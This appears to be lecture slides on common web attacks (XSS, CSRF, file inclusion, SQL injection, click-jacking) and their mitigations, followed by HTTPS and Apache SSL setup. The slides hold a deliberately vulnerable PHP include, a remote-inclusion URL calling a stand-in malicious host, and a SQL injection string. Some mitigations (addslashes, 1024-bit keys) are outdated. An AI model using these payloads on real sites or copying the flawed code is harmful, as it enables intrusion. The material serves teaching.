XSS

XSS stands for Cross-Site Scripting. Notice the initials are actually CSS but that already means cascading stylesheets.
There are several variants of XSS, some are as simple as embedding bad links into emails.
Usually, though this vulnerability is caused when:
- a website has a form on it
- a malicious user or robot enters data into the form that contains code (say HTML, Javascript)
The form data is later displayed to other users, say because it was a comment to a blog entry or a guestbook entry, or a post to a newsgroup, etc.
Merely viewing the post causes, cookies, etc of the viewer to be sent to the malicious user who then uses them for evil.

Mitigations

Validate input from users! Treat all data posted from forms as tainted and use things like htmlentities to encode it before ever displaying it.
Try to filter certain kinds of input (like scripts)
If your site uses cookies make sure to tie the cookie to the IP address so it can't be used by a malicious third party.

Quiz

Which of the following statements is true?

Proxies can be used to get around the problem that client-side Javascript can only open connections back to the server it came from.
JSON is an XML language with four basic elements.
Although CSS works for HTML pages, it does not work with XML files.

CSRF

CSRF stands for Cross-site Request Forgery. Here is the idea of this attack
Suppose a user logs into his online bank.
The bank stores a cookie on his machine and only uses that to check if he is logged in.
The user browses to some other site (not the bank) with malware in it and clicks on an image link that actually contains a URL for the bank together with an action like do a money transfer to a bad person.
Since the user still has the banks cookie, the transaction goes ahead without the user even knowing.

Mitigations

Include user specific tokens in forms, so form data won't be used to take actions on databases unless that token is present.
Check the referrer of any data sent to your server.
As a user make sure to log-off sites before browsing elsewhere.

Inclusion Attacks

One lazy way to control a two column layout is to do something like:

<html><head>...</head>
   <body>
     <div id="leftcolumn">
       <ul><li><a href="?c=n.html">News</a></li>
        <li><a href="?c=d.html">Discussions</a></li></ul>
     </div>
      <div id="content">
       <?php if(isset($_GET['c'])){include($_GET['c']);}
             else {include("default.php");} ?>
      </div></body></html>

More on Inclusion Attacks

This opens a site to attacks especially if allow_url_fopen is set to true in the php.ini file.
This is often set on if you are using some Drupal modules.
Suppose your site was somewhere.com.

Then to attack your site, I can type:

http://somewhere.com/?c=http://www.mymalicioussite.com/evilscript.php

Then evilscript.php from my site gets to run on your machine with the Webserver privileges.

Mitigations

Turn off allow_url_fopen.
Validate any data in variables used before using them to include scripts.

SQL Injection Attacks and Prevention

Another kind of attack on a web-site's forms is to carefully fill out form variables to break the PHP script behind the forms variables.

Consider the following SQL which might be used to insert into a database:

$sql = "INSERT INTO   users (reg_username, reg_password, reg_email)  VALUES 
      ('{$_POST['reg_username']}', $_POST[ '$reg_password'], '{$_POST['reg_email']}')";

What if the posted reg_username is:
```
bad_guy', 'mypass', ''), ('good_guy  
```
?
You can use PHP commmands like: mysql_escape_string() or addslashes around the posted variable to prevent this problem.

Click-Jacking

Click-jacking attempts to get the user to click on a important button or type in fields important data of one the sites they frequently go to. The user types or clicks in this data while thinking they haven't ever navigated to the frequently visited site.
An an example, by accident the user goes to the malicious site. The screen looks legitimate. Secretly, an iframe is loaded and using CSS its opacity is set to 0 (transparent).
The page itself which is positioned over the iframe page might have an interesting button, that purports to show something like Katy Perry's duet with Elmo.
Setting the CSS z-index value of the button behind the iframe (which is transparent so can't be seen) makes this button actually behind the 1-click purchase button on Amazon. If the user clicks on what the user thinks is a Elmo button, the user actually purchases something lame from the attacker if they happen to be logged-in to Amazon.

Mitigations

There are some browser extensions which can help prevent click-jacking such as NoScript.
IE8 was the first browser to incorporate a solution that works effectively. It has been adopted by all the major browser within the last couple months. (September, 2010 for Firefox).
The idea is the browser when it loads a page -- the important case is into an iframe -- is supposed to check if a X-Frame-Options header was sent.
If it was sent and has value deny, then the page should not be loaded into a frame. If it has the value same-origin it should only be loaded into a frame on a page from the same host.

HTTPS and the Secure Socket Layer

When we use HTTP to browse the web, data is typically sent over a TCP connection and is not encrypted.
This is bad if we want to keep things like our credit card info secret.
Shortly after the web became popular, Netscape proposed using HTTP over a Secure Socket Layer (SSL).
When you see a page with the https: uri schema, SSL is being used to encrypt the data that is sent in the TCP connection. https uses port 443 rather than port 80.

HTTPS: How it works

First, a socket connection is made to the server on port 443 using TCP.
Then the browser attempts to establish an SSL connection with the server:
Browser sends a cipher list, and a random string RA (nonce)
The server replies with a certificate signed by some certificate authority, a cipher its willing to use from clients list, and a nonce RB.
The client checks if the certificate has been signed by a certificate authority it knows by applying public keys of known authorities to the certificate, if it checks, a pre-session key is created and encrypted with the server's public key, this is sent with encryptions of hashes of previous messages, making use of the nonces and a client literal string.
The server replies with a hash of the previous messages, a server literal, and a key made from a hash of the pre-session key and the nonces.
Secure communication is then done using the hash of the pre-session key and the two nonces, as the session key.
This communication in HTTPS consists then of encrypted regular HTTP commands.

Configuring Apache for SSL

To use SSL with Apache you need to load the SSL module. For example, you might have to uncomment a line like:
```
LoadModule ssl_module libexec/apache2/mod_ssl.so
```
Usually most of the SSL directives are in a separate configuration file which is included into httpd.conf.
Find this file and then look for a <VirtualHost _default_:443> directive. There should be a DocumentRoot directive within this that let's you set the root directory for https connections.
You will also see somewhere in this configuration file the directives: SSLCertificateKeyFile and SSLCertificateFile. These should point at a reasonable server.key and server.crt file.
```
server.key and server.crt
```
These are needed for Step 2 of our description a couple slides back for SSL.
To get certificates which will work will work without complaints with most browsers you need to buy one from a company like Verisign or Thawte.
Alternatively, for testing purposes you can create a self-signed certificate.

Creating a self-signed certificate

First, you need to get a tool to do the necessary cryptography such as openssl (http://www.openssl.org)

Then one first generates a private key:

openssl genrsa -des3 -out server.key 1024

Next one generates a certificate signing request (CSR -- this is actually what you would give to Verisign or Thawte if you were buying a certificate).
```
openssl req -new -key server.key -out server.csr
```

Generate a self-signed certificate:

openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt(

Put server.key and server.crt in the correct places, restart server.
Note some packages like XAMPP already come with self-signed certificates.

Security

Outline

Attacking Web-sites

XSS

Mitigations

Quiz

CSRF

Mitigations

Inclusion Attacks

More on Inclusion Attacks

Mitigations

SQL Injection Attacks and Prevention

Click-Jacking

Mitigations

HTTPS and the Secure Socket Layer

HTTPS: How it works

Configuring Apache for SSL

Creating a self-signed certificate